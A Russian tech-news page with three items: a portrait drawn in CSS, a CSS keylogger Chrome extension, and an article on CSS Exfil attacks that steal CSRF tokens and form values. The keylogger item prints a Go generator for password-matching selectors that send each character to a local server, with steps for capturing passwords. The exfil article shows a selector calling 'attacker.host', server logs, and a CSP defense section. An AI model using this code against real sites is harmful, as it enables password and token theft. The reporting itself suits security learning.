Художница создала картину вручную с помощью CSS и LESS

  • CSS
(adsbygoogle = window.adsbygoogle || []).push({}); Диана Смит (Diana Smith) создала портрет женщины «Франсин» вручную с помощью инструментов разработчика в Google Chrome. Американка опубликовала код на GitHub.


Кроссбраузерность
Работа лучше всего смотрится в последних версиях Chrome, в других браузерах верстка часто «едет». Например, журналист Vox Дэвид Чжоу (David Zhou) попытался воссоздать «Франсин» в старой версии Opera:

В ранних версиях Internet Explorer смотрится не очень:


Посмотреть =>

Кейлоггер на CSS

  • CSS
(adsbygoogle = window.adsbygoogle || []).push({}); Независимый разработчик Макс Чихаб (Max Chehab) поделился своим CSS-кейлоггером на GitHub. Инструмент представлен в виде расширения для браузера Chrome.

Принцип работы
Используя селекторы атрибутов, можно запрашивать ресурсы с внешнего сервера под видом загрузки фонового изображения.

Например, следующий CSS выберет все формы ввода с типом password и значением value, заканчивающимся на «а», и затем попытается загрузить фотографию из localhost:3000/a:
input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}
С помощью простого скрипта можно создать CSS-файл, который будет посылать опциональные запросы для каждого символа ASCII:
package main

import (
	"fmt"
	"log"
	"net/url"
	"os"
)

func main() {
	fmt.Println("Building keylogger.css")

	output, err := os.Create("./css-keylogger-extension/keylogger.css")
	if err != nil {
		log.Fatal("Cannot create output", err)
	}
	defer output.Close()
	for c := 32; c < 128; c++ {
		value := fmt.Sprintf("%c", c)
		urlValue := url.QueryEscape(value)

		if value == `"` {
			value = `\"`
		} else if value == `}` {
			value = `\\}`
		} else if value == `\` {
			value = `\\`
		}
		fmt.Fprintf(output, `input[type="password"][value$="%v"] { background-image: url("http://localhost:3000/%v"); }`, value, urlValue)
		fmt.Fprintf(output, "\n")
	}
	fmt.Println("Complete.")
}

Как пользоваться?
  • Открыть веб-сайт, использующий компонентный фреймворк вроде React (например, instagram.com).
  • Нажать на расширение C в правом верхнем углу на любой странице.
  • Ввести свой пароль.
  • Пароль будет перехвачен express-сервером.

Подробности по установке и настройке расширения можно найти в источнике.

Каскадные таблицы стилей становятся популярным инструментом для проведения хакерских атак. Напомним, что в январе был создан прототип системы для отслеживания ряда пользовательских действий на чистом CSS. А в начале февраля у исследователей получилось использовать CSS для кражи токенов CRSF и персональных данных.

CSS позволяет собирать конфиденциальные данные пользователей

(adsbygoogle = window.adsbygoogle || []).push({});
С новеньким обновлением css стал мощным инструментом, который позволяет следить за пользователями собирать данные (примером пароли) в некоторых случаях даже раскрывать пользователей dark net.

Отслеживание пользователей на страницах
Работа Жана Бемера стала главным проектом по данной теме. В работе представлено аналитическое заключение, фиксирующее взаимодействие юзера с элементами веб-страницы, используя только CSS-код. Бемер показал, как без использования JavaScript можно определить временные рамки наведения курсора мышки на элементы страницы, нажатия на ссылки, ввода текста в поля и установки флажка в чекбоксах.

Использование CSS для кражи CRSF токенов

Независимо от работы Бемера специалист по безопасности Дилан Айри опубликовал другое исследование (названное XSSJacking), в котором показал, как злоумышленник может применить CSS для кражи токенов CSRF. Метод Айри работает только на веб-сайтах и ​​приложениях, которые хранят токены CSRF в атрибутах HTML.

Техника Айри основана на инъекции кода CSS в веб-страницу и использовании селекторов атрибутов CSS. Сама атака занимает около десяти секунд и не требует непрерывных запросов к удаленному серверу, которые могут предупредить пользователя об опасности. Решение подразумевает идентификацию токена в фоновом режиме.

CSS Exfil: как это работает

Техника Айри оказалась вершиной айсберга. Специалист по безопасности Майк Галтьери показал, как тот же способ можно применить для сбора конфиденциальных данных, введенных пользователями в поля. Галтьери назвал эту технику CSS Exfil. Оба метода — Айри и Галтьери — используют селектор атрибутов CSS, который позволяет разработчикам запрашивать HTML-теги страницы для отдельных атрибутов и сопоставлять образцы по их значениям.

Например, следующий CSS-код сканирует страницу на предмет наличия тегов, где атрибут
href
содержит строку
facebook
и окрашивает ее в синий цвет.

a[href*="facebook"] {
  color: blue;
}

Такие запросы могут быть усложнены. Например, злоумышленник может задавать атрибуты, начинающиеся и заканчивающиеся определенной строкой. Эти запросы могут быть сшиты для запуска атаки методом «грубой силы» и попытки определить первую букву атрибута, а затем вторую, третью и так далее.

[attribute=value]   [foo=bar]     Selects all elements with foo="bar"
[attribute~=value]  [foo~=bar]    Selects all elements with a foo attribute containing the word "bar"
[attribute|=value]  [foo|=bar]    Selects all elements with a foo attribute value starting with "bar"
[attribute^=value]  [foo^="bar"]  Selects all elements with a foo attribute value starting with "bar"
[attribute$=value]  [foo$="bar"]  Selects all elements with a foo attribute value ending with "bar"
[attribute*=value]  [foo*="bar"]  Selects all elements with a foo attribute which contains the substring "bar"

Суть атаки заключается в формировании HTTP-запроса сервером злоумышленника, когда вредоносный код CSS идентифицирует правильный (частично или полностью) атрибут селектора.

#username[value="ZeroC00L"] {
            background:url("https://attacker.host/ZeroC00L");
}

Далее злоумышленнику необходимо проскочить через ошибки 404, вылавливая отброшенные части атрибута:

127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /00 HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /0L HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Ze HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Z_ HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /ro HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /oC HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /_L HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /er HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /C0 HTTP/1.1" 404 22

И затем собрать их в единое целое:

Z           # Z_
Ze          # Ze
Zer         # er
Zero        # ro
ZeroC       # oC
ZeroC0      # C0
ZeroC00     # 00
ZeroC00L    # 0L _L

У Айри и Галтьери два разных метода для проведения атак. Айри полагается на угадывание окончательной строки по одной букве за раз. Галтьери предлагает более короткий путь восстановления строки, угадывая ее в нескольких частях и восстанавливая в конце.
Оба алгоритма эффективны. Метод Айри более шумный, но его можно легко автоматизировать. Метод Галтьери быстрее (также может быть автоматизирован), но в некоторых случаях требует вмешательства человека для создания финальной строки.

Но CSS Exfil не является безошибочным методом. Он может украсть атрибуты HTML, найденные на странице только во время загрузки. Галтьери утверждает, что это не является серьезной проблемой, и показывает различные обходные пути, которые могут использовать злоумышленники.

Способы защиты
Для защиты от атак CSS Exfil веб-разработчики и авторы приложений могут реализовать меры под названием Content Security Policy (CSP), которые предотвратят загрузку кода из внешних источников.

Также конечные пользователи могут установить одно из расширений для Firefox и Chrome, которые обнаруживают все типы атак CSS Exfil, задокументированные в его исследовании.

Идея CSS Exfil не нова. Подобные атаки, основанные на CSS-инъекциях, ранее обсуждались в 2016 году в CureSec.